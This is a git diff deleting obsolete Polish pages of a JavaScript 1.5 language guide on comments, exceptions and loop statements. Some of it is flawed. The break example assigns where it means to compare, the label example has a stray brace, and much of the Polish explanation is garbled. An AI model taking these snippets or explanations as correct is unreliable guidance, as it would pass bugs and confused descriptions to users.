-
Używanie inicjacji obiektu
-
-
-
- -
-
-
-
Używanie konstruktorów funkcji
-
-
-
- -
-
-
-
Indeksowanie własności obiektu
-
-
-
- -
-
-
-
Definiowanie własności typu obiektu
-
-
-
- -
-
-
-
Definiowanie metod
-
-
-
- -
-
-
-
Używanie 'this' do obiektu referencji
-
-
-
- -
-
-
-
Definiowanie metod pobierania i ustawiania
-
-
-
- -
-
-
-
Usuwanie własności
-
-
-
- -
-
Obiekty predefiniowane
-
- -
-
-
-
Obiekt Array
-
-
-
- -
-
-
-
Obiekt Boolean
-
-
-
- -
-
-
-
Obiekt Date
-
-
-
- -
-
-
-
Obiekt function
-
-
-
- -
-
-
-
Obiekt Math
-
-
-
- -
-
-
-
Obiekt Number
-
-
-
- -
-
-
-
Obiekt RegExp
-
-
-
- -
-
-
-
Obiekt String
-
-
-
- -

Detale modelu obiektowego

- -
-
Języki oparte na klasach vs. oparte na prototypach
-
- -
-
-
-
Definiowanie klasy
-
-
-
- -
-
-
-
Podklasy i dziedziczenie
-
-
-
- -
-
-
-
Dodawanie i usuwanie własności
-
-
-
- -
-
-
-
Różnice
-
-
-
- -
-
Praca z przykładem
-
- -
-
-
-
Tworzenie hierarchii
-
-
-
- -
-
-
-
Własności obiektu
-
-
-
- -
-
-
-
-
-
Dziedziczenie własności
-
-
-
-
-
- -
-
-
-
-
-
Dodawanie własności
-
-
-
-
-
- -
-
-
-
Więcej elastycznych konstruktorów
-
-
-
- -
-
Powrót dziedziczenia własności
-
- -
-
-
-
Wartości lokalne vs. dziedziczone
-
-
-
- -
-
-
-
Określanie wzajemnych relacji obiektu
-
-
-
- -
-
-
-
Globalne informacje w konstruktorach
-
-
-
- -
-
-
-
Brak wielokrotnego dziedziczenia
-
-
-
- -

Podgląd klas LiveConnect

- -
-
Praca z klasą opakowującą
-
- -
-
Komunikacja między JavaScript a Java
-
- -
-
-
-
Obiekt opakowujący
-
-
-
- -
-
-
-
Praca z tablicami w Javie
-
-
-
- -
-
-
-
Referencja paczki i klasy
-
-
-
- -
-
-
-
Argumenty typu char
-
-
-
- -
-
-
-
Obsługa wyjątków Javy w JavaScript
-
-
-
- -
-
Komunikacja między Java a JavaScript
-
- -
-
-
-
Używanie klas LiveConnect
-
-
-
- -
-
Konwersja typu danych
-
- -
-
-
-
Konwersja JavaScript do Java
-
-
-
- -
-
-
-
Konwersja Java do JavaScript
-
-
-
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_komentarzy/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_komentarzy/index.html" deleted file mode 100644 index b19c7ddd3f..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_komentarzy/index.html" +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Instrukcje komentarzy -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_komentarzy -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Comments ---- -

-

-

Komentarze

-

komentarze są notatkami autora, które wyjaśniają co znaczy dany kawałek kodu. Komentarze nie są wczytywane przez przeglądarkę. W JavaScript mamy ten sam styl komentarzy co w Java i C++: -

- -

Przykład
-Następujący kod pokazuje komentarze: -

-
// To jest pojedyńczy komentarz.
-
-/* To jest komentarz blokowy. Może być dowolnej długości i wstwiać go możemy w
-każdym miejscu, gdzie tylko będziemy chcieli. */
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Comments", "es": "es/Gu\u00eda_JavaScript_1.5/Sentencias_para_comentarios", "fr": "fr/Guide_JavaScript_1.5/Commentaires", "ja": "ja/Core_JavaScript_1.5_Guide/Comments" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html" deleted file mode 100644 index 45442f2c63..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Instrukcje manipulacji obiektem -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcja manipulacji obiektem

-

JavaScript używa instrukcji for...in i with do manipulacji obiektami.

-

Instrukcja for...in

-

Instrukcja for...in cyklicznie powtarza specyficzną wartość wszystkich właściwości obiektu. Dla każdej oddzielnej właściwości, JavaScript wykonuje specyficzna instrukcję. Instrukcja for...in wygląda jak pętle:

-
for (variable in object) {
-   instrukcje
-}
-
-

Przykład
- Następujaca funkcja pobiera obiekt i jego nazwę jako argument. Następnie iteruje ją nad wszystkimi właściwościami obiektu i zwraca łańcuch, którym jest lista właściwościami nazw i ich wartości.

-
function dump_props(obj, obj_name) {
-   var result = "";
-   for (var i in obj) {
-      result += obj_name + "." + i + " = " + obj[i] + "<BR>"
-   }
-   result += "<HR>";
-   return result;
-}
-
-

Dla obiektu car z właściwościami make i model, będzie rezultat:

-
car.make = Ford
-car.model = Mustang
-
-

Instrukcja with

-

Instrukcja with nawiązuje z domyślnym obiektem for ustawienia instrukcji. W JavaScript jakikolwiek z niewykwalifikowanych nazw bez ustawień instrukcji określającej domyślny obraz. Jeśli niewykwalifikowana nazwa odpowiada właściwości, to właściwość jest użyta w instrukcji; w przeciwnym wypadku zostanie użyta, zmienna lokalna lub globalna.

-

Składnia pętli with wygląda:

-
with (object){
-   instrukcja
-}
-
-

Przykład
- Następująca instrukcja with określa, że obiekt Math jest obiektem domyślnym. Następująca instrukcja with odwołuje sie do właściwości instrukcji metod PI i cos i sin, bez specyficznego obiektu. JavaScript bierze na siebie obiekt Math dla tych referencji.

-
var a, x, y;
-var r=10
-with (Math) {
-   a = PI * r * r;
-   x = r * cos(PI);
-   y = r * sin(PI/2);
-}
-
-

Nota: Używając instrukcji with znacząco spowolniasz jego działanie.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/index.html" deleted file mode 100644 index a31e3144d3..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Instrukcje obsługi wyjątków -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcje obsługi wyjątków

-

Możesz wywoływać wyjątki używając instrukcji throw i obsługiwać je za pomocą instrukcji try...catch.

-

Instrukcji try...catch używa się również do obsługi wyjątków Javy. Zobacz Obsługa wyjątków Javy w JavaScript i Komunikacja między Java a JavaScript, aby uzyskać więcej informacji.

- -

Typy wyjątków

-

Niemal każdy wyjątek może zostać wywołany w JavaScripcie. Niemniej jednak nie wszystkie wywołane obiekty są tworzone jako równe. Choć częste jest wyświetlanie liczb lub łańcuchów znaków jako błędów, użycie jednego z typów wyjątków stworzonych szczególnie do tego celu jest bardziej efektywne:

- -

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Instrukcje komentarzy", "Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków:Instrukcja throw") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/instrukcja_throw/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/instrukcja_throw/index.html" deleted file mode 100644 index d09220143a..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/instrukcja_throw/index.html" +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Instrukcja throw -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_throw -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -
-

Instrukcja throw

-

Użyj instrukcji throw, aby wywołać wyjątek. Gdy wywołujesz wyjątek, określasz wyrażenie zawierające wartość, która ma zostać wywołana:

-
throw wyrazenie;
-
-

Możesz wywołać dowolne wyrażenie, nie tylko wyrażenie konkretnego typu. Poniższy kod wywołuje kilka wyjątków różnych typów:

-
throw "Error2";
-throw 42;
-throw true;
-throw {toString: function() { return "Jestem obiektem!"; } };
-
-
- Uwaga: Możesz określić obiekt podczas wywoływania wyjątku. Można się wtedy odnieść do własności obiektu w bloku catch. Poniższy przykład tworzy obiekt myUserException typu UserException i używa go w instrukcji throw.
-

 

-
// Utwórz obiekt typu UserException
-function UserException (message)
-{
-  this.message=message;
-  this.name="UserException";
-}
-
-// Przekonwertuj wyjątek do ładnego łańcucha znaków,
-// gdy ma on zostać użyty jako łańcuch znaków (np. przez konsolę błędów)
-UserException.prototype.toString = function ()
-{
-  return this.name + ': "' + this.message + '"';
-}
-
-// Utwórz instancję typu obiektu i wywołaj ją
-throw new UserException("Za duża wartość");
-
-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków", "Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków:Instrukcja try...catch") }}

-
-
-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/instrukcja_try...catch/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/instrukcja_try...catch/index.html" deleted file mode 100644 index 229633025c..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/instrukcja_try...catch/index.html" +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Instrukcja try...catch -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_try...catch -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcja try...catch

-

Instrukcja try...catch śledzi blok instrukcji try, i określa jedną lub więcej odpowiedzi które powinny wyrzucić wyjątki. Jeśli wyjątek jest rzucony, instrukcja try...catch go łapie.

-

Instrukcja try...catch stanowi blok try, który stanowi jedną lub więcej instrukcji, i zero lub więcęj bloków stanowiących catch, instrukcję, który określa będzie wykonana jeśli wyjątek wystąpi w bloku try. To jest, to co nastąpi w bloku try, i jeśli nie nastąpi, chcesz przejąć kontrolę bloku catch. Jeśli jakakolwiek instrukcja bez bloku try (lub w nazwie funkcji nie występuje blok try) wyrzucany jest wyjątek, kontrola natychmiastowo wraca do bloku wyjątku, catch. Jeśli nie jest wyrzucony wyjątek w następującym bloku try, blok catch zostanie opuszczony. Blok kończący (finall) wykonany jest po wykonanych blokach try i catch przed instrukcjami następująca instrukcja try...catch.

-

Następujący przykład używa instrukcji try...catch. Przykład nazywa się funkcją, która odzyskuje nazwę miesiąca z tablicy, która jest ulokowana w wartości przychodzącej do funkcji. Jeśli wartość nie jest przesyłana jako numer miesiąca (1-12), wyrzucony jest wyjątek wartości InvalidMonthNo i instrukcje w bloku catch ustawiają zmienną monthName na unknown.

-
function getMonthName (mo) {
-    mo=mo-1; // Adjust month number for array index (1=Jan, 12=Dec)
-    var months=new Array("Jan","Feb","Mar","Apr","May","Jun","Jul",
-          "Aug","Sep","Oct","Nov","Dec");
-    if (months[mo] != null) {
-       return months[mo]
-    } else {
-       throw "InvalidMonthNo"
-    }
-}
-
-try {
-// statements to try
-    monthName=getMonthName(myMonth) // function could throw exception
-}
-catch (e) {
-    monthName="unknown"
-    logMyErrors(e) // pass exception object to error handler
-}
-
-

Blok catch

-

Użyj pojedyńczego bloku catch do uchwytu wszystkich wyjątków, które mogą generować w bloku try, lub Ty potrafisz użyć separatora bloków catch, każdego, którego uchwyty są szczególnym typem wyjątku.

-

Pojedyńczy blok catch
- Użyj pojedyńczej instrukcji try...catch, bloku catch (odzyskanie bloku) wykonane kodu błędu uchwytu dla kazdego wyjątku wyrzuconego w bloku try.

-

Pojedyńczy blok catch ma następującą składnie:

-
catch (catchID) {
-  statements
-}
-
-

Blok catch wyszczególnia identyfikatory (catchID w poprzedzającej składni), którego wartość jest trzymana w bliżej określnonej instrukcji throw; użyj tego identyfikatora do pobrania informacji o wyjątku, który był zrzucony. JavaScript tworzy ten identyfikator, kiedy catch jest wstępem; ostatni identyfikator tylko dla czasu działanaia bloku catch; po bloku catch kończy wykonywanie identyfikatora, który jest nie długo dostępny.

-

Na przykład, następujący kod wyrzuca wyjątek. Kiedy wyjątek ma miejsce kontrolne cesje są w bloku catch.

-
try {
-   throw "myException" // generuje wyjątek
-}
-catch (e) {
-// instrukcja trzymająca jakikolwiek wyjątek
-   logMyErrors(e) // przechodzi z obiektu wyjątku exception object to error handler
-}
-
-

Wielokrotne bloki catch
- Pojedyńcza instrukcja try stanowi wielokrotny warunkowe bloki catch, każdy który trzyma określony typ wyjątku. W tym przypadku przywłaszcza odpowiedni warunek blok catch jest możliwy wstęp tylko kiedy wyjątek określa, który blok jest wyrzucony. Mozesz także opcjonalnie dla wszystkich bliżej nieokreślonych bloku wyjątków catch-all catch jako finalnego bloku w instrukcji bloku catch.

-

Na przykład, nstępująca instrukcja powołuje się na trzy inne funkcje (deklarując je gdziekolwiek) który waliduje jego argumenty. Jeśli funkcja walidacji decyduje który komponent jest sprawdzany to wskazuje który nie przechodzi walidacji, to zwraca 0, wywołując odpowiednia wyskok szczególnego wątku.

-
function getCustInfo(name, id, email)
-{
-   var n, i, e;
-
-   if (!validate_name(name))
-       throw "InvalidNameException"
-   else
-       n = name;
-       if (!validate_id(id))
-          throw "InvalidIdException"
-       else
-          i = id;
-       if (!validate_email(email))
-          throw "InvalidEmailException"
-       else
-          e = email;
-       cust = (n + " " + i + " " + e);
-       return (cust);
-}
-
-

Blok warunkowy catch kontroluje drogę dobierając odpowiedni uchwyt wyjątku.

-
try {
-// funkcja wyrzucająca trzy wyjątki
-   getCustInfo("Lee", 1234, "lee@netscape.com")
-}
-
-catch (e if e == "InvalidNameException") {
-// nazwa uchwytu dla niepoprawnej nazwy
-   bad_name_handler(e)
-}
-
-catch (e if e == "InvalidIdException") {
-// nazwa uchwytu dla błędnych id
-   bad_id_handler(e)
-}
-
-catch (e if e == "InvalidEmailException") {
-// nazwa uchwytu dla błednego adresu email
-   bad_email_handler(e)
-}
-
-catch (e){
-// nie wiadomo co robi, ale się loguje
-   logError(e)
-}
-
-

Blok finally

-

Blok finally stanowi instrukcja wykonywana po sprawdzeniu i wykonaniu bloku catch, ale przed następującą instrukcją try...catch. Blok finally wykonany gdziekolwiek lub nie jest wyjątkiem thrown. Jeśli wyjątek jest thrown, instrukcje w bloku finally wykonane równo, jeśli blok catch trzyma wyjątek.

-

Możesz używać bloku finally do zrobienia Twojego błędnego skryptu, kiedy ma miejsce wyjątku; na przykład, możesz potrzebować zwolnić źródło, którego Twój skrypt ma powiązanego. Następujący przykład otwiera plik i następnie wykonuje instrukcję, która użyje pliku (server-side pozwoli Ci w JavaScript uzyskać dostęp do pliku). Jeśli wyjątek jest rzucony, gdy plik jest otwarty, a blok finally zamyka pliki przed danymi skryptami.

-
openMyFile();
-try {
-   writeMyFile(theData)
-}
-finally {
-   closeMyFile() // zawsze zamykaj źródło
-}
-
-

Zagnieżdżanie instrukcji try...catch

-

Żądaj jeden lub więcej instrukcji try...catch. Jeśli wewnętrzna instrukcja try...catch nie ma bloku catch, otoczamy blok catch i instrukcja try...catch jest zaznaczona dla danej wartości.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/index.html" deleted file mode 100644 index 94a07dc3f0..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Instrukcje pętli -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Loop_Statements ---- -

-

-

Instrukcje pętli

-

Pętle są to specjalnie ustawione polecenia, które wykonują wielokrotnie kod, aż do spotkania specyficznych wartości. JavaScript wspiera instrukcję pętli for, do while, i while, albo well albo label (etykieta nie instrukcją pętli, ale jest często użyta z tą instrukcjami). Uzupełniając, możesz użyć instrukcji break i continue wewnątrz instrukcji pętli.

Następna instrukcja, for...in, wykonuje wielokrotnie ale jest użyta do manipulacji obiektem. Zobacz Instrukcje manipulacji obiektem. -

Instrukcjami pętli są:
-

- -{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Loop_Statements", "es": "es/Gu\u00eda_JavaScript_1.5/Sentencias_de_bucle", "fr": "fr/Guide_JavaScript_1.5/Boucles", "ja": "ja/Core_JavaScript_1.5_Guide/Loop_Statements" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_break/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_break/index.html" deleted file mode 100644 index 108f315058..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_break/index.html" +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Instrukcja break -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_break -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcja break

-

Użyjemy instrukcji break chcąc zakończyć jedną z instrukcji pętli switch, lub label .

- -

Składnia instrukcji break wygląda jak poniższy przykład:

-
1. break
-2. break label
-
-

Pierwsza forma składni przerywa najgłębszą otoczoną nawiasami lub instrukcje pętlę switch; druga forma składni przerywa specjalnie pętlę zamkniętą i oznaczoną etykietę instrukcji.

-

Przykład
- Następujący przykład powtarza pętle poprzez elementy w tablicy aż do momentu, znalezienia element indeksu, który jest wartością theValue:

-
for (i = 0; i < a.length; i++) {
-   if (a[i] = theValue)
-      break;
-}
-
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_continue/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_continue/index.html" deleted file mode 100644 index dee2eda4ee..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_continue/index.html" +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Instrukcja continue -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_continue -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcja continue

-

Instrukcja continue możemy użyć do ponownego uruchomienia instrukcji while, do-while, for, lub label tzw. etykiety.

- -

Składnia instrukcji continue wygląda następująco:

-
    -
  1. continue
  2. -
  3. continue label
  4. -
-

Przykład 1
- Następujący przykład pokazuje pętlę while z instrukcja continue, która jest wykonana wtedy, gdy wartość i jest liczbą trzy. W ten sposób, n pobiera wartości jeden, trzy, siedem, dwanaście.

-
i = 0;
-n = 0;
-while (i < 5) {
-   i++;
-   if (i == 3)
-      continue;
-   n += i;
-}
-
-

Przykład 2
- Etykieta instrukcji checkiandj stanowi etykietę instrukcji checkj. Jeśli continue zostanie napotkane, program przerwie aktualnie wykonywaną iterację checkj i rozpocznie następną iterację. Za każdym razem, gdy continue zostanie napotkane, checkj wykonuje ponownie iterację aż do momentu, gdy warunek stanie się nieprawdziwy. Kiedy został napotkany nieprawdziwy warunek, to powtarza, reszta instrukcji checkiandj jest dopełniona, i checkiandj ponownie iteruje aż jego warunek zwróci wartość nieprawdziwą. Kiedy false jest zwracany, to program kontynuuje następującą instrukcję checkiandj.

-

Jeśli continue miało pętlę checkiandj, to program będzie kontynuował instrukcję checkiandj, aż osiągnie jej najwyższą wartość.

-
checkiandj :
-   while (i < 4) {
-      document.write(i + "<br/>");
-      i += 1;
-      checkj :
-         while (j > 4) {
-            document.write(j + "<br/>");
-            j -= 1;
-            if ((j % 2) == 0)
-               continue checkj;
-            document.write(j + " is odd.<br/>");
-         }
-      document.write("i = " + i + "<br/>");
-      document.write("j = " + j + "<br/>");
-   }
-
-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_do_...while/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_do_...while/index.html" deleted file mode 100644 index 6c770f4ae6..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_do_...while/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Instrukcja do ...while -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_do_...while -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcja do...while

-

Instrukcja do...while powtarza specyficzny warunek, aż do momentu, kiedy uzna go za fałszywy. Instrukcja do...while wygląda następująco:

-
do
-   statement
-while (condition);
-
-

Instrukcja (statement zostanie wykonany raz, zanim warunek zostanie sprawdzony. Jeśli warunek (condition) jest prawdziwy (true), instrukcja zostanie wykonana ponownie. Warunek jest sprawdzany na końcu każdego wykonania. Kiedy warunek jest fałszywy (false), wykonanie zostaje zatrzymane i kontrola jest przekazywana do instrukcji następującej po pętli do...while.

-

Przykład
- W następnym przykładzie, pętla iteracyjna wykonuje się, co najmniej raz, i powraca wykonując pętlę iteracyjną dopóki wartość i jest mniejsza niż 5.

-
do {
-   i += 1;
-   document.write(i);
-} while (i < 5);
-
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_for/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_for/index.html" deleted file mode 100644 index c13c4558fb..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_for/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Instrukcja for -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_for -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcja for

-

Pętla for jest powtarzana aż do momentu, kiedy testowany warunek staje się fałszywy. W JavaScript pętla for jest podobna do pętli w Java i C. Instrukcja pętli for wygląda następująco:

-
for ([przypisanie]; [warunek]; [zmiana]) {
-   Instrukcje
-}
-
-

Kiedy pętla for jest wykonywana to mają miejsce:

-
    -
  1. Inicjalizacja wyrażenia przypisanie, jeśli coś jest wykonywane. To wyrażenie często inicjuje jedną lub więcej pętli, ale kod pozwala na wyrażenia o różnym stopniu złożoności. To wyrażenie może deklarować zmienne.
  2. -
  3. Wyrażenie warunek jest wykonane. Jeśli wartość warunek jest prawdziwa, instrukcja pętli jest wykonana. Jeśli wartość warunek jest fałszywa, pętla for jest przerwana. Jeśli wyrażenie warunek jest w całości opuszczone, warunek to bierze na siebie, jeśli jest prawdziwy.
  4. -
  5. Wykonuje instrukcje.
  6. -
  7. Aktualizuje wyrażenia zmiana, jeśli jedna wykonywana to kontrola jest przekazywana do kroku drugiego.
  8. -
-

Przykład
- Następująca funkcja stanowi instrukcję for, która to tworzy licznik zaznaczonych opcji w liście przewijanej (obiekt Select, który pozwala na wielokrotne zaznaczenia). Instrukcja for deklaruje zmienną i i inicjuje ją od zera. Sprawdza, które i jest mniejsze niż liczba opcji w obiekcie Select wykonując kolejną instrukcję if, i zwiększa i o jeden po każdej wykonanej pętli.

-
<script type="text/javascript">//<![CDATA[
-
-function howMany(selectObject) {
-   var numberSelected = 0;
-   for (var i = 0; i < selectObject.options.length; i++) {
-      if (selectObject.options[i].selected)
-         numberSelected++;
-   }
-   return numberSelected;
-}
-
-//]]></script>
-<form name="selectForm">
-   <p>
-      <strong>Choose some music types, then click the button below:</strong>
-      <br/>
-      <select name="musicTypes" multiple="multiple">
-         <option selected="selected">R&B</option>
-         <option>Jazz</option>
-         <option>Blues</option>
-         <option>New Age</option>
-         <option>Classical</option>
-         <option>Opera</option>
-      </select>
-   </p>
-   <p>
-      <input type="button" value="How many are selected?"
-         onclick="alert ('Number of options selected: ' + howMany(document.selectForm.musicTypes))"/>
-   </p>
-</form>
-
-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_label/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_label/index.html" deleted file mode 100644 index e95a452b8f..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_label/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Instrukcja label -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_label -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcja label

-

Instrukcja label dostarcza instrukcję wraz z identyfikatorem, który odnosi się całkiem gdzie indziej w Twoim programie. Na przykład, możesz użyć label do zidentyfikowania pętli i następnie w niej użyć instrukcję break lub continue, do wskazania miejsca gdzie program powinien zinterpretować pętlę lub kontynuować jego wykonanie.

-

Składnia instrukcji label wygląda następująco:

-
label :
-   Instrukcja
-
-

Wartością label może być w JavaScript identyfikator, który jest nie zarezerwowanym słowem. Instrukcja to identyfikujesz z etykietą, która może być jakąś instrukcją.

-

Przykład
- W tym przykładzie, etykieta markLoop identyfikuje pętle while.

-
markLoop:
-while (theMark == true)
-   doSomething();
-}
-
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_while/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_while/index.html" deleted file mode 100644 index 48ecacaa70..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_while/index.html" +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Instrukcja while -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_while -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Instrukcja while

-

Instrukcja while wykonuje instrukcje tak długo, dopóki warunek będzie prawdziwy. Instrukcja pętli while wygląda następująco:

-
while (warunek) {
-   instrukcje
-}
-
-

Jeśli warunek stanie się fałszywy, instrukcja wewnątrz pętli zatrzyma wykonywanie i identyfikatorach kontroli w instrukcji następującej pętli.

-

Test warunku ma miejsce przed wykonaniem pętli instrukcji. Jeśli warunek będzie prawdziwy, instrukcje są wykonywane i ponownie jest wykonywany test warunku. Jeśli warunek będzie fałszywy, wykonywanie pętli jest zatrzymanie i przejście kontroli do następującej instrukcji while.

-

Przykład 1
- Następująca pętla while wykonuje iterację (powtarza) tak długo aż n jest mniejsze od trzech:

-
n = 0;
-x = 0;
-while( n < 3 ) {
-   n ++;
-   x += n;
-}
-
-

Do każdej wykonanej pętli iteracji, przyrost pętli n i dodanie te wartości x. Dlatego, x i n pobierają następujące wartości:

- -

